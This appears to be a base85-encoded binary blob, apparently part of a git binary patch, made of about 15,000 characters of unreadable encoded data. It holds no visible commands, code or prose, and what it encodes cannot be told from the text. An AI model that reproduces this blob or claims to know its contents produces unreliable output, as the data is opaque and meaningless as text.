zv5YPlMalFlnI5fW@8K#+7Tn03VmN+a7wMvTT)l8USI!wr4I!@l+F*tlse>$aR>_WM51z1Phq zPjyK&ALR9QZxEewBiBqwvgzgL*m^FDi6w;;6_v5z+Ue+LYS_7c1Bblv-2b85$v&}# zhkyAS)*owP{GwaAsw|4*x^!hlEf;ZjBnu%#>n_fV$^yW1P@*HqP9Nv>b+5DK)wOJ^ z8Oi-${0Pe?jzGsDP$IR=001BWNklynf#Z8no9c1-OuTYaSj*|S56i=GY z!kHszI90)>joYa!S-^W{6jHwR72Z5hORTt%bZ8{Y7B6AyXoUl7ALEhLn>cnh%&L!n zf*af0m+){2>wUp4Ab?mChX8HS;(e&!mJo=~SdGm0D<@Y_vT{lfeG$k*(^Qq;sK1ES* z9H%vwxbT}~GD%ieR_j^59r-;i6yo6eb)0faxbHKc;)Z$Cm@;h&WAhz$?>I-!q&dti zsAuo71}3k(m#fR79N+LFukS4RW|I6Gt zzl2a!qxtL!)^FH_G3hE+%uMji3u`!jDx2|>3bh>G6Ez z(;wx!u?oiz?&7Q%!_~{KLOJ^;$D4DQdDSXbE}lkW@9RAO%yXG7 zq9c;$ICA1FCyyRu&yLN!y7qNqOFqaKK6*PN!%1q69pQLwgn8G@Wqe67`B@IN$15ma za3gcZ6p=eJO8UfZUR}M0S2nJvE_X4X`Q%5Klocmsdq__q9CO*fehcR!)46`$2+khb z&l$ChRf{JQuh>m>cq&&dm`#l2d1q{EAp_lM=E&JxZoU6DW{uJzRLJCs6PPq@CPhv; zhZ8y6cJBw7Q{?jYE06NlnF4OSdlkisgEPooul8|%XFgF%iDg;j<>iq|r8=I}6AHTO zP<{L`?GpJAIh#j4cc7Ix|Fvg2%Czm~V^ zbV@=R*&`;i=!VH8_8p{3$wRH#!ZT}*GX1@uRET+z0 z#uantQyQya?F-NF@~it%Cobitn-`JmnK+(;E|MHSaFkThY;KrSz=^|qutzOo+3X1z zUJ7>*=XRu&t;YkkjCGtRn#=^Ps;Wez(N5z_go;L-qX&-Rjh@SO(_5wS#oC1WB$~9gqq8QaT@zKogg%N zCb!;y6FFyI<~I-jiS?W7nX>X)=1v_!Zf=OWL;KkJw&c!F-N)>ruz%DfnY*o=CXOCH zfE>Mug)^rzrZ5LLS;>*aNN&3IYUWHTpRFojAu|V?6uFQ@rx_Q6ft}z+XSO6snJ~r@WSNSFB`K zNetmMaO6NaV%!3jPZS(FP)`1w8<<~~#hC*;sgF+Q>c#V!GPRJRWRkLli@K-7vOkwX z2e>R?+cuVEaq!^5))kMvf#-P`hQajd(}_l-ghHV{m8-hC8pANi&CPB7t-ij#wc~i< zcC41we-p=yU~jeL`XB5EAR1EM(GUp%3Dd)IC9D5xI!nfB96V7;ad9z@E)aNTFi1{%wJ3plje*4ni}~6%WgD5W0>kT`bc^ z=phVEV4Gp z$J5;0jOTeB<|!p8nnp+ySf-7q=!7(|Z3|bbgbWSOv3$Q{Xt=h2RFtl3NXN$ZKsPe7 z^aQ%5g6H5O{FT0rh3$f77zoeCwp|q6Kob(jw(%6-7kajhC;aW*uHzt70|f`i@lXvN z;o8_OOO;y7?_VmXs{+?Hu^mD7sL>=|`v)HQ$Je;w%m2wYS7Z}69X9^rtNdhN3E%qe z_n8~3Bkd`8j*TN#U&kC9PbjFGf@|4$vS+;S%+^{a$!lwCDJ?A}9*@6clCD)2fU1Si zg^Oip${-Xp-9W>^v>Z^>*1xUH3R+duF?7E@LDA7wur1$C3=JI1MyfixDsgNN#n2Fr zgDVv@O+|VZmJM1+M-?89<$~%TQRi3=s5(X_PqYx4;$fLKiV;E=9;WG_7zP?1rsa@b zG8%3FQ+)OV-=N^j|I63!nTLqiXI7dC5GuN%g6rToGIQ*ce@uWU1xChyn6}LL4;RyN z{d%fkS{9zr2pKA#W#I}9T@yIA1FD9uNG!`~y&I$}nO*pM%OsEMx{Mt=wsn_PXKlS^ z7-+bdwu`EV+GM5bgfxL|TS!GmR|Sr3BU{RA*?5YIp)0tygNNqJ%W;s3hNcKS+r&Z3 z*qe#t2~^!cmHu%;ie{h+57%)(^?jk^NK{`Ta8b~8U#A@}Q*J4dC_Zn6i=ELMO;hkP zepfeCq;26y6~plD*pVu_p&@M((~%gVP^(P~&A?D4w(Z-lCOk~bMrL*)b=Q76`o^*> z9LMQ~Ec_$pbX|vxzfcWdr!CV#sJb6hwYDjAEjIMb8M35H3P{FcngsS_# z*LE^Ime?7c69V7w>pFOuBbZRobq!n_%l1%oUl(lC!jYiqhOZlziS2qQsvi%^Obnu` zItn(nlQ}9u3c@*I-uPsFbC72-x9zlT+dXaDwrz9TwmEIvwr$%sr)~4s{rcWp-+fi@ z{dZDzPAbVs_D-_bUMtq__F-`G^_t%&4JjrJ@rR+$bF39>GyiBS?O{Vtb#%^0x5)-0 zzsU-PW$*T% zWg`#!>hfxU`4TMR_+k7d-bUOBiU?6EbGuD16kecG-`5-)(IP!2c_1H2^+ANr$bu|bdm z@7|&8{YUn7;m2edV*aq^w&KHVICuuwo|Y{TT}eEyu=VerdFH?}GZxoK@Xx$3-TBuP zy2Hnyo_0i7ZF1O7#@F|3v9hAbQ(XGamJpy{mIE`~|h(Qj|E zWRxhXst*5f<<7fgyYuX{<0ahn#snR`c9u8G=-6zc=P=xM4*E_N92`X8ilLLcUv3f{ zeP3%0$$wqZr{x$YO0`}fka+v_aoX`nCDWB0#j;us47T9*ZV$(9FUjm~G~uF76BY$n zZnz7P8NFWpB|{q!E1{PlPieOP=8(i>@z8s{3AxG0$e^I5E$-?0>T=A!Q5T$d7Q*6R zLtfNMnf*xVK~3*Tvg!O{%IUH7kBZCuDDPM-^gEMQ98b=)062E% z(0En}W*1%1&bZcc0`n^+Mq@XNA4j!=of+^LV0TlsV*K>OYuq_pvjEzydFZhx8K&y< zc#k&YuKvFUf6<`H)9hnEUB{OS_tL_B3oNo4|soZ+1#(|$2OgOm z`-dB}yrcOMm&tEhn5nL&pcVZ@GZx8>ORv`17OU~>dYx8@?O-ZJcXGC$txL5hEzQ-I zdlM0WXX_d85QTnDD0Saw`nS3KK2cSg2=+Hy#OKPA&P4Uf(=04xb+~akL6)vn#x;xF z9xi597#qo}*X{u^Jq}kadXc(wj;^j7{C@h7MJGm?lvycz7+N+XskwhIn*Ny^dZe3= z4or-#$+oWLL|$xEo7&4XM#~-B!hO?0L^{LhTQ@$r&9+Fip2pc20vpQiZ>@;Go%p>o znv3sDhSjFauGx_9H&>QA*DcI&yDu7bx^nj}?6~r-l3%?Ca4+=#d6IV3=H;ax?5**! z8GYP+yY$ezm?(_tvD6o1A0*iIzGTzBzf}9mRo7d!^co?)YFQVh{w_X5uz(3j!jDO| zeJZc9IcPq$;9g%div*0VtnGVuKhB!i{iO;%F-WJq(WzQtvF&_BWw$rD>dYYirroLgxu{mc}#fyx%~NSsuZdWZ_P#wkD|LWHXy= zyl5JBI(dV^*!<&$YwGnrFgQ`Ari|*4L!(oQH=V+9ALv>IV2`nBS!mMosn5KN1U_5S zm>C8v3_pGku<-sV)UwID;;!xHAAhCOhqw7`o_4BpKDdOc5pH`moc=afZw5F!*xvsYpBfDWssqOXlj)LxU^d#!BIsLfc!ob^_ z$YSG35!`3}V*QgGdxP6KP0lkq_3Go$v)$@7Qa@ug+Gp2EvuLB<;`&U)bmY7V9?v^U zY}&erv)b>t`I&dp97)9NgtmUMsD;m3{~(k~Cd-5n}_XM!53p)aYnwQ4KUU>bNpp?ZM5m>&2M6 zpNZVn4or(N+3msCv&!v{MPuG2>ThAtKE$fk)joR(0z78FU~N1WcYj-GlU-`q_?9&G z^eH@Bb?!dD0T??$ynMuWFh-J)`?za;>bqPwg+4{TNN2%(I}6!Fxm>k3NwVF}2Sv|$ zFuU-qGp-;?ijy#s^KG}TFv=A(1= zf~5*8TOXw6*$fdUM)gJ-cTp=WVgbMd1bUS{`)96kEB9gRd&3B8!;$c&D_IupsB zcMPg>iawfHH+3V_jCjA!&r+@PlYRy2e1cOqt)~+N5wG~hHe;vg1}gh{r4bNO+_Tb1 z?{ZOX-BGZv?%}$`07ss?v1t9hEAS)QZ3#~7quzB>+2uvjnKO48F%#l)Vec`sLnNKD|_1l`$7a7hzNnkMt>>#7-(uNaZ#VgVrC0>kPMLMx2! z*-PHJ=r_-Kna!2d2*`FQY|8AJ)DB=CUU#Y&J~;P+{^MrW(N&!tJi|===_gRG>$8~M z;Ucm4aH}(x?ZKkBryIP8`Qvn(Y7*v}NmWr(fM z5btWo+EfMy5TCh)&=d_h617_6zs&qKC`Besn0ANd>-|uRZZYQM>O^Jl+Y^KgD4^)> z*)+qsS?hB{M;cSi?7Ks3!X>wG|K5Cchl|4M2mCPdC+!Y2h28t` z1icq)?X(z1RW+#P23agJ7yNx&-75xUpZIv!83D-<#V#h14N#~8k`+7ITm9%JZG_6? zDkk@$JRTYC4(_ggpwuCp_Y-JajQo{vb0ou+ZOaSsI^cFCn|HKupg^&-4{HpgMTh2! z8+LhlIl0vi>dsD>2HWX?$%$SMtk|x-TQkP7xKyLV4`b(> zzR~9dmw>PFjpqH04c>?i6pF=l9^SNz{m%pcN3i|}Ar=u4q4iBoLsL{&ciXjl|L_16 zB7|pq^GANvMR#DIpAheSfQFzK;agj22T`eeG3yDhcDa@$25clsmc;cYz?(_nf&5ToWR`UN)@o9^$e~1*ga$t&?1_=jJ+iQP^`(oY zEsh}s|J*0yw(v*}PyjXIrTpJP+GkT>Rq)1+5j;>RBDn5XbvxC$y!pb$#flIp<$v<5 zd+gz#V8DeK4K>R9Q@5ipLl7oZ+xhNV2JrElzl@RTD45@T0f|2`fRlL^^LrO^YJ;7F z3)#J(Cg{kV9o~6y`{2{4SGK#qoPE(vF6@0}LF8IWe8dCn;OsmmnaN);qWa7Qq`3K= z+vsmp<=1_G$uOh(ROa7O0+PR!PHgnw=5YAea5C_GxRV^Bk{UKWp@Mjb5GUw}e`EWO zV);&&B0Q{QD%R+*g{=DCqQIXFmGQNO@RnP8-v*Ge*n0n6wo6ua{SbfUC(sjBe&c%% zHA=GG93KJLEu#8liLUx3R;l~WeDm~VXM92$V{8q!@^vNL9(9wD{>sLY{2&RS+rnPT z{I3oQEM8u2UN2ly<@T%;Rz6~URJY!IOoZhxh2`%p3Y==_FT#qx_csmq+}5<7c`46+ z6|5&RxuoWHSDzT10fu|pRW`D|629&4i?_=k?B_3Pdhq`E?dr48Kl@T_tOU64>gqi; zR`A^F&to5sV?0ObIwD_adUGK7?>#1B zc&29ccn3lFzX^Qbf_hDA+QX_#Lp#iXz+seJc_ZnHFQ47;cwfk;1?DfQcCUR`(WZ0$ zxzxK|Wvj_AxIKEQADu~Nd%bT9TnLLhzZXtz?t@g-crxaAiIaqTQS!1b`{^;PC2m=@nd&-|1gJ0>~X#kzQtx7M_<XW|*{(JzO(%kO|b0V}hcVmW%`Y;JO-Mu8fNP z0!0Q(c+skTalaRo>z*U{>$gXY(`{Tye`%;Iv>pIibT<^DXChzT+jYr0fhqo<3_M+1 z?Ax#V`T1u*w-rl|)>~hWi4Ucva%oj`pW=1RQX>k}JKOwq98Kqy8C^MVEO?f%0k$yV zZhG~M!Twdf2o`!UpVRVPSoiPiLJ!VUVS$H*mHzw!kM@?EpT?&la^x}_q<yCEVl_GaAh#^1>(hK5t!XdUyN0_R{}1{vbFr{Y1d6J}x9P=Bh)z!+U{FXzLIM9@|Ib5T-B8{& zqP3uY>=!5B=j91aMwYt=Nj^ruq^Oe-?PxQ_OXv_^<@6R5chN%p{D=X z)_c$|J%8i!bY;+N1<;)BkI42+H23Sdq2F;$UKKc1`0;ch?7aEw>O0S@0E4%zm>xWt zZoHZQI3Yy7;@X>C+W$DAwlzODBWTgHua0lQY{WGCD}YY=&Q!jxT^=>?Cd*$L-GM;r zniIZ365uJn?=T6uX%IrTCv;otDKZHE_^rnr)qgRwW+KnDJPi4${*`>rBoO)>LWkkp zZ*#ewpYQdl9xVmo)apL*AIC%Bjh;ZEzy69ayEHdrhWhT@D7|yb(0N}^egup;*>2LY~FWn4LN=m zefm4qP0z%&(XI}a&5XjBAIIxP0EMu6*CjOINE>1x_DK~TgL+Y5b6DWt`YKyF{Szi+ z2FBuv^zaTuVk*db4IB$W2i2}ZQ?bv}&3~KPb2;2O3_jQ<>yF9BucgheglUDL7oh2W zOKq>jZ-G|EZCY)+T?93P{NG(ayJZl=@9uJOdH3Dj$-{G}un zhfIXZkBO9TG{|JOObjc(5`L8hJ;a8(OekN~=qBYCP_RFFt>_%q9v zpv;jW!GeB?`X6KB3Rg)R+;WaAqy$t>(iB#zu%XIeeQ1Z+wm1V3;$A~2Vw^?As2mG};g-d~ zJ|vuFuP|NTF2T}u%5^v$1smz|ayngd{jZNKvBJZAM)<$-if=_PD|$@b@GJkoLM35|TQ8F)kqYov(6#fT#OhC~*C zMT5F%0ygGa!rv}T$a+> zM4xGN*(nsEeQ^oy84r9($f&Z2(f-+%IH8?>$pWNQ;qEqE6af|*d6K=;>hx~k@$rgB z&)>QCHl1bsJ%5Y+o~a{B_5WHzZ>4BxwtU%15RzeP26jzh4OvPrSO=nF4Ea_NvZH8g z(yXl?D1(v`xz)FzQhgUN>7z;w8_BrG;UJ*3rod<4(6UYOT((-@Jkp%K=fAiUV zI4FxBvgQQaYvh6aO%j0?2-*rK3?}$kCMQ#ZeuVsIX>;^vVu$c)NgWihvs_oFyXdGnF6|)IFR&U(3blZVklG zm5D8uy_5!`ytIBVQ*(0d;2ZLAQQszy z>GDBlPLQUl0*}n4Glc|F0}*%49hsgXk;bS7sFuS(M?tgke1Ohc^Nt2{CjONKD;ENc z)AD@$01~&_qGeSXJguSLLi@S}`gMsg(V8_|k2Ue%4%M(J&5r-!T1)>Rr^1X+#a3PeCvbe(R9oUFE7>J0%gKcJPeG+nOYl+=1L8ThN3>8Q362&=BVoY@M z1z48vK5y`khpWBH#&BjY6_IqP6I&63Rl*`b&~WV(usGRdYLfS^e&_yUzi>53ipg)H zkW#_G-EE8xBiN15WBPl*Q|;DMh7*UZq8f*RCLwMRoPQ8v?tVGUYR!pbw(w686*KPo zx+oYC@^}CEAVj%(1VuOnXl6AX?W_1H)O`b}9E44E7$HBnIrRl)ZCJbq_|C7hlj2{L zL{%_5a{QCWuY+YC#KqRtK@1RzZsB5Y>)CYdi<8*N^Q7S>IZq8S-xdWI8Y zd4?Y#aK>}^;wiyd^cj%I?+yiSWSEai6Mpi~5hL;_RHkQAbN5zf3G#d|MUGLiH0X-{ zxZWK&(cf=$u&>!O3Cc-gk!c=y?`HjVayqhn&fyT&!V`2AVIVfDw_23`yf2?#GM(O= zxWk5WvY3s&hT#DvF$zo!YrTuy{rn4JE+muA7!jA+?j;J{U>w-^yOP6s#`s@Z9ltQ4 zU?^z&HDiwVrDl%y2f3>+{^H0#60`touE7%Xoc;Bu&GnueOxtVH2{9{sqo1^^dlvfS zQi?3i5s|CxdlhFvl@%pThXj+Na2nY-j3G#k`0zu(mcJ- ztZddazw=WWe2qY>9(<}8Kn+_X5=Z3{V514y$;VXB*Y6e*KfgkB-Azqps9=qCg(|&3 zKuyH!{!{+XE1mvXv^A|g>fU-L-vYNGx-KY`OI@8~P%AKpJaL0lIdYSJ4b z`u|@ZKPmtuL7wds2chXCW6>6PL(IUc99i5Qso0tlqz-|?zi}8H z@1ZKU*GS8tVLJoxxTzfq>sRVoRZ)tpW*q-1fb7S&e+{*Q%HDmDZX0?1*B(YlM-BxT zQn0Hhp&nIU|MZN1uqnP@czN?`;76H_6eRq>kIBPy~zL@cnQewY|}* zrykv`*;$cPkIPM%JM{^b8Z8#oGsEerRiMIyS`T24KTgk?8Ah7q3p(akDrqp?-cqCY zv+y^;yURPtSeOD2G~4Q0jLb$VbGB{kBQ+5B~CPa@H@q6~1>W zSM7x1B6K+E2+F!s7azHaM)31=_H}6VJEwcpt??)p=P$vELT=(5Dp5p)2QS3J&QUyR+4rQaS_ zpScbpm+O6@F5+VujPW|f)iw!`5k_%*kC3ZdZ+KJXt@f)~)(a~P z7Ji|>a)Jlq4BQ-9Hy39ad{wYilav$rA`jcvYGhmT9h&xOThy+NmeXDe@?9oV-eHNx z{<>R#ovpqd&{ufukwlKSoGw!pNF%2&E4Oe2+d2cD`|7q7xoh(Q}|uPh34u``-pjUa5D-yM9^UYw3e{H`%f&i$;E5 z*PTPpyLWH&-!KzT1V*M%gB!ijM35KgyIos87Q~$RJz9P}^|~o)HfNmV@D2orv?_23^*@2m z(~NiA^u*47eK6X7PDMw>r>{w2{8OIp_5IrX+?3Xq!1GEU%~_9Szra^Z8n`q6inQ~- zhq#0%<8axd7>>L#mo&lgduq)+IEx-#dwO^Jj_q!Qk3H9V`8JQ8H7OuPWRVDj2o$z= z3!5t#E>_rrZnAJlB_3{WLv?do6_`VWbjXal>^A@YS}WiF=$ySeYv(<&hu6>9#|lkn zwMyx_(5>~>r`v5->eZyA`6TZX0g5d3U-nG}LhE##P|Z+_zCR%8JIYnNpH5H};p-gi z-=3w=ECvz<*&_%60om|J%uJyP^}mI$xjX z5ImtYknNbcO~B(k*Nl#FaV%(4If-ed4z=_dX}tfm!HtJlcRXc1W|}TffWfy*pIr?~ zz17Ga*(_`QSF@18AjfR~Nhr7FKHPi=(e}Xt@sx==T=Z$i=K>5w&cWQx38JoFD75K{ z`VyQrX^zEg#zyUxZO5b!A|8*=ja#e5qn9UVMA*OQRP;rO3Dhq0?Kh3H^us zetH^U!Tbz*#NG6J3MS?XcW92%>#w{=-w{DAib4$(Sff=u|F$;&eqpHpFmS0^i}70` zE=!pnZuh<0=_xr7|BJ3z6W%!O_e4|K-nUhrw%R|hg?6y0^w#LUjw{N;4=>I4upf0O zZ>>hDC|26n;%|3=QmqY2X{37LoM=30b>X+Xx8`Ux*_VV zG?!#)IBVLUr2->gk^%~Ydw=z?Uh@I=Qp)X4AVL2{Kr1IGpCY)=Krd@>?)Qq2bAyC+ zMWlC6Z^u4r>%CQgA()I-h`9s2H60d-rZ<@%I#W@*pnWCI z?Z$8;3l2+6?T72g9&o8#U&6ADCTN(lU?Bzrw%-xS3JAR%?a9X}B$t|vXzt%g`xAQq zOVDmffz)LiQ8i12CUT%gy<#II7D5RFH;S=d$!|1gV6~u(4(ijT8)UM%bJYzL@sdD_ zvhqx9Q5$i`KwXtO4N%y?ic2e(KTDc1d zk0h=%U2=;csi&#GQ*v0(8*g;PD^%NN+Ii5hdM%iuZE5p2lT~N}Gyc#`Qt1X&L8e9J zEmwSqq^SHwL_rhP%8usI)F9}Db@c)lSF0fvo(UR;ENUOutE9GSan47qD>QfM*>nr+ zFr=N!1dZbQMaxylu2l^d_UTUxvv}tCOhXa`I%CW6SIvJ62jiAbCFJnK9OYaseD0&nrOLZ2ZRww-Qe8%Svx>tScIdR`iXib? zkk%^js56)IjCwE7MW=IXmba-Qu09LoxjzjfN-AjRm6Va{x+<2LQRFVN7NE&WgHH%W zlJBd5{xgu^x+@OFWlS0jWer<7<%Fh+QsZ(VQ&nSJ!*HIF{xj7%c%F^^Kx0jnk0fH% z8En=}P`%o#@V_mh43;W)Lx92IM7DRv-w775uoc5T8>C=>&Uv=C7!xED-5$2k0+$yd z%VL1Lp&qrG;aYLBVq$Zp_WgncN#ahW4%Idoy+OJ>4n0LW(jrExK}5wAKriXi1ARR> zaa@vw>0K8J1V+E>d9xM!ij-%q6+yd!NK*rqK?_9%F4XL$&cS5tD?j9Z`!9kQ!1F{C znr7EygJsFV5z&S*bVr~u8{8uL?&~d5X*yd*_|F4-3T{tgS4+K}B=Pxr=0`b)5R1ah z-BiY3ZgvNCZ>}0WG2|N`caSUQ7>7H=k)*cXfn&nMbGp>{Z{)-Fg>*B85rJ)edhXoCupd|I9_ z?8*hsfQD94$0d+uZkKt+&{022&kICMinh=Cnm8;P@OX&yW)!aX)Z&|Zq6r6a9nY}* zJ~om~_b$g#e!UvCc-7v#`}* zZz9r8p)D3Krf>gH6W)u%v(8bGxn^iUA-g;f+N@ucbmK*WcD>e1; z2D%Gj)>BMMyTjhxT8-!91)nQG*6|eoBKm18G=hKlu1U3u<~luPLx_%E8!w*{`~S&` z?amb}kC9H>$;0Nfwf&K`;H2r-nR&T}+_yhazEvR$pj5#2l*E0dmzMYU&R`CW)6R@P&hx8DIXWWvgQcc2V z7N?(Uw)=_MVbjqccVO={t%ZC9YtlN)@4&>j&yN;CXuudWQmu4y3c8F=VxiK#arC2W z3;cswz@>r|KtHM$tIc_7fE7x~mIQh<142mj&r_y+*MV2{TQZ%0q%vvVS7E>cLscvm zWj33CGvz{i^3pLtfnL1myqSYIQk=Dp%mB+1^nv7JO_cau=ELSy<{7V6_^deNs03-N zif#c^ikAhgF{ODDw-YXQ5+e5YvWKXm(0C2UHD^4uDDD5K0(|Z_{#d}&Pi}A3Z-lP0 zJzA_pdI1YuLUVu+{i^^tLJT30-7E;a@mF9NS15LWRH=dDEM4^?<6{j`q?2Qs>xc=YM3d(iZKg@zFgqYXQSUOuvpU3FMA_`WpP6g64Lso@ z2&8|LF4ecuLjX&>4Va{a& zMPDGN^pfq`xW~*WvmOLZ+@(335O#CPo1a&GCDCF|HM#IRSPT1Ag#OFBI1M3918caj zxlCWlyf>9rJbL)6BNc|5GhT(+7(Ck{I@j)^NVR$~)e^RMl`lN^=Wg;i`fA>YuXZ=x zCl(Y~=Bx@EOYp3&Vd;uLSAvYu%Mz4sIQRJ-l(u#-{S(AO9LJfO>) zHlItXn}uynp5Aj)9McaNz0lj!YRZ?tv)+*fsS_YmY;&;xQk~!qkBtNZ zS|F$`RZk?0NU4>MrA0t2khfp!gpHOyI=qWqg&Y>PTy22N(V_;UdW(PGW346F7Jasq zzxu&^*lNzsFGr?r*bsRYz=570YA_gL4o9RKe0FG`!UE%~wRO5d(o!82D`dmd^km0~ zZ`hbsX^e!(f}Fih{B9N>dux8_f%To^du+ zWaOIJ@SQx8KJFk@HwJL{6j6Cxwo;h!%`lXOB~I02e?v^xtUpX+ERFD zD<3{BcAHNx)Lg7!RE0h|cp!@OsDyM+|3)$O?|4R@smU|ncT}lRiUH%++dHGY-CrXe z`62Vs&K3~3rwo-nn>d#sl2(Iu_iX3ncctS0dIhzU4}f9*&3K(@44DHwFYfwq6=!_P z3wCY$Bgzc@23fP4uIiQmc^mw=$&IB}iob726qW857(4|#le;#(GikNf@=R6knM^>? zM=MxR%wt?4ldpdG=`G>#YtJ-fmD~JYGeCiAwQS}dFst}D(A#aiDh$DnLT^L@(wQY? zUW1yWRxW>WjV`KUGb*BA6_f9U zr9qPLa2RA}J9*r@D~W!@#l#(;rb4R{PhW~Za7+}pP37paY#|ghso?jhFw%4}QUBpe z6B_Gx4+^A1{Q72IDl)F*y;F|ka=}`lwjCPY&==;ccm(y0!moO>ACl#qOlC}ixnu)5 zEtOOvx!K&c5=8z*b#kq@cUc~kwdNGIe1Yyre$Q)1w?(dpcpKF|qHcquT%n=(r}cca zpJL2xIUsM?Bq6-VHC)@b9M5Onl@!%l>VN&@5ZX#7;y$ef3oxS5hvkp{SI!0Xoqt#hr0$J6JD54YLY)+x zT=^G*X{YC8a9k*941sjZ)Ftw#e#P*S?U6e|#lCaz!TuYJI*)x~Pjp(LZmYeA#6}p^8?s`*e!W>H+b?Hb-fLXEr3Ada&e-m15^<;EMi5__jU+*}hFXAhUYb z>$36izq5^PDqolMsC8OI*RM)Fkd)HJw-Ge!AJEyFyjD55*rJuU-oZW5qf$wc!p7jNG!Ca=O>&=wN z;kysL12k-@Amh>jfE5MG+>V7OF<)%;l2uBuu9#iSiW~@;jQiY&uPvxCW`|fPFoG=V zJyObxES0?ZIlji6n#`T~*p!Ag@&!#QBo8p+IvR=(@;_}ro@ zYp{E&!V(VGe42HE@#*NxlyZ4MmM?`9d0p?_P$IhQNpn@dB87?eeQX=PM`cgnu`{Vn z@;f|HL8qr3WL#fCpgk{usugzXQ@UFjQaK~17m>}?j`p(;u{^* z{12h5Ol zpjzLh=hOtg{=-$#_!2B!3E*`(i?`)3ys9vy9c%bQJuoK^(a|NsW0^((^e_&yu{g_) zTEOp2KLeE^!j5MPvA>SZm~G6+u~j9}JL_Y#9BB)MoFFNS$I(Ylsv< zngwMno3RLf9yLFf>tu5!ODh|%A#^Q6pB5l6nVUd>yJ8Cj5t~|Wo8sKi#7#q|syi1u zrW?VYe!$f-cil35bA~4PQ9=UmsJXjX;8#N@6Iv}e7X1ec&^78VHzc9q<89y7J@VA~ z;t+0cV2E?BMk5@u62ys`9MD@T@Sa%xXoDh?K6lPy#~y-XnKysIfX&3w?7^cd1u^gO z3cXVZ4peRh2|MA_Q>m3>2!H_W+xj{}dJp)4qk}NV}m9J{}Jh72^));+9v60H34RcESbcm~zdLBZKG(jC)z9@4h>ckAz-Z0lH zyROLS$X5I+ErmTaJgd3na7xQK;Fi;!C>lSpp`0)Itsm^=c(!MlQ~cMvtvlf6MYnW2 zCewSDIcphZ#1Tnhhj+gZA4e7g&uCD?kL?m~biZ})FyB$^9ZSH@YwB)tlQCHSWUb=s zGIuF&csFJ1J?bbO$BVO>dtIz7lM@b8-1yl60a`~j&2W#}0M zs5tmqc*URH@xLN_@vCFO7Q@249{_w^T=;wc-se$$o1=5DJ8!3+vKl|c7z%{ZwA|h! zwrBh4)h#zfn*JSaytClf$HqPLmT6MOc}8n1H%sAR`>hB30aN1e1W=6B)von^S?$!E zP9ePXz1~8k=)4#%^;_W6+X^n#++9l34~EZjA*vLRWJ9cuBzeavdp)sOsDL%nd?6F1 zB-Ie6fjPIjHCSr`R}W?us^c@bj<7nqZA`y7y&J}GhG?Gz6ohlY{a$0JM9^=c9W^g> zy&XUlsSJmlSS^#wZK1S~8eyT=h*!(z8zdHLfaEKx^E^OiNXgTZ zD$J&DBF)2UPj!I#S?O-J6(Xdp|u=weCY>6`Ra zChqeV6o*Z(WOzSwi?Z)7iJ;;77)Xtwu-IVC=6PtB zn2|Sms!11jN`j1Sc)Czs+g+&zxF?=k!<#=`^7oFtof_@+b;fu=YB{b38%+L(*!4EI zWXQ`nPxPX4y%>pBa7&Rxq||F6x*}{Hv;|toeKeOsx1d8^aiNLob!2ZxPO-MUlHDK~ zoBZYYhc5pe>D8_ud^7Nx3C;~uq2!FjfT5eA8wa8&QftvUTEpeYk(vZbc9)z-x$kZ7 z2guyT{@FS;u9sR`IgXhEzZZC`?G7=WvLFa)m-o;`n@kg_gUK*jmLbTRvpasz8FQL9 zxc3m|wQaZf?Ha*)V-rzojGW;p3H!_o0;eAdcGzb?7*1{COQp-D9$tS?qw<EHl&)P`4(sf!P%#|5ao(sr*2uJ05BCa97U6GxLdPJl1@4@bXv^6j4{+nuB=Ur)MR zPO%bQu@83ic#t`Z=F=qin3^sTt$2KEo|Yt?8BQ54a6QTw4%Z{3cA*Q!Mi;}3)(g3| zGqf;-+~11S4&QUk6>QplfU%1vrqTxI9a&tUoKrA7v!J2MOmj}Z2dp<7xswmwQcd1^ zlKye@3RLL91NZR|<`Z{nq08yathV#XJV0vt{4pnUYc;7}Q=?-)`8D{A*>}FFiC<@! z7lJ8hsOaKI!W-~uc{2^PZ%JeIsfNWVp=cU+w_r`~v9 zEoYO@-ry8D=6AB;Mss&lheJHX-#BMiJSW$pIky+9f|uwKcT;4T8iAJBVah!Jf4~G6 z+6^a9B5~1#nt}`dFj*};7D);`ThME(amcLb!(?A)(tmeg|GLH2`CiCwWVa1pbxV(J zv1K3D_F=aFt?xXrV0&Ql8d>RgaDY28TAt$PC*j$A!n0x~8^BH_$BCo8*fE$d`-%)M z4NK!L!^vz~A5-S}ML;Wp$J+-;=x?f41=d9EuQsFq&;|qM0qbgxODf50_J6qYCBKyE zt95V#4nF~mU+LuV2G(qEqA>mtv!IYwMF?cT#y-ayjb+JpQEO!$?D*q1%U1eJDvs%u zGe)1UjLJ)jiUr}=d!pq{nqST5WXb?mm>pIxrCTSsbY|`1oK3+ed)^{yo-!BA2grB+ zEPsKSG+VL`c5-vOJ69wAq=gF0IUS(?l4Tnbv3s7y60L2awP3YJZ^hdyR=lvXq|Nj2 z2ygcySTvZ|-oed?+MRBv@dd{}tMzy%Mi+&_9`(xkx!3v;FA$xi-?f_i1mZjUHnsq@ zm)si|`8%x7>~pOqBy@jR4VEZoc9OpRuW~b7DF++3S2hGufP|8Cv+ooLOYw&ZMuJp5 zarPFq;4gp6UuNde`FbmE;!wE*DRB2TBHdtaet46)0+6EQ8d=33Irk6W#pAJg`p-g?nFg>1LvaE~3aLJ6PHqR~vxQ(D4b z=*@M{zgtJdL4h8xRp@j!M>Lh;b-PA45x$+?woqE(e~-o?2SN0=k1J|YT5b#%?!fNu@d@?0 z(ivK~9BnYUo!nTxx6o{j1fJ3Ok-x-$&j!*trFA*q5nP}224s9g<=#T%QBXwOOOyMP zN{(s9?)H#NRtyR#z7A8~z6b_s-VPNxB*tS26dKu_Y3yWv8k$m8E81fbiM#3pKY%N0 z#J4}wL~BLQ_95_FJjG=B6B`+Ref>Z4g?F{ z4d_ekEzGBOu{f9LlEEZrHs?Eh;pq5+qDN+8gWxDOmc`#E!yus(Rm&)sx zSa%L^Ga?9bcFb3`AP62!9-b`z-7^A%g0B?}=qi?s^y{Av8>L+AW<28Qwp`4|8KJ)M z$oc{btAu|V;4c*U!IPoViZPbLbsCH$JNU;3^@yfGFqcTmSzFfgbhTy&w++(dumx?4 z8@V?*V7NWB6hxAvolQv2bh9EIamS%^5-xv9CcmWyh{cu?aeql6L$J@3Sl#4%cixiU zY;!SP5ueG;QP5di+QtzslCV$rXb$#Uop`)jU|NcgG}_x?w^yhXo4lgE4wTs6zH@_zkuy7ONZIo8^q1v_m9rdD#=^@6ZUZozA81!}+HavC3B|vD zfu?2_3{x#MyZ8!GH5JdBi*kJPMUZ$m{!k^7`B&fEL1g 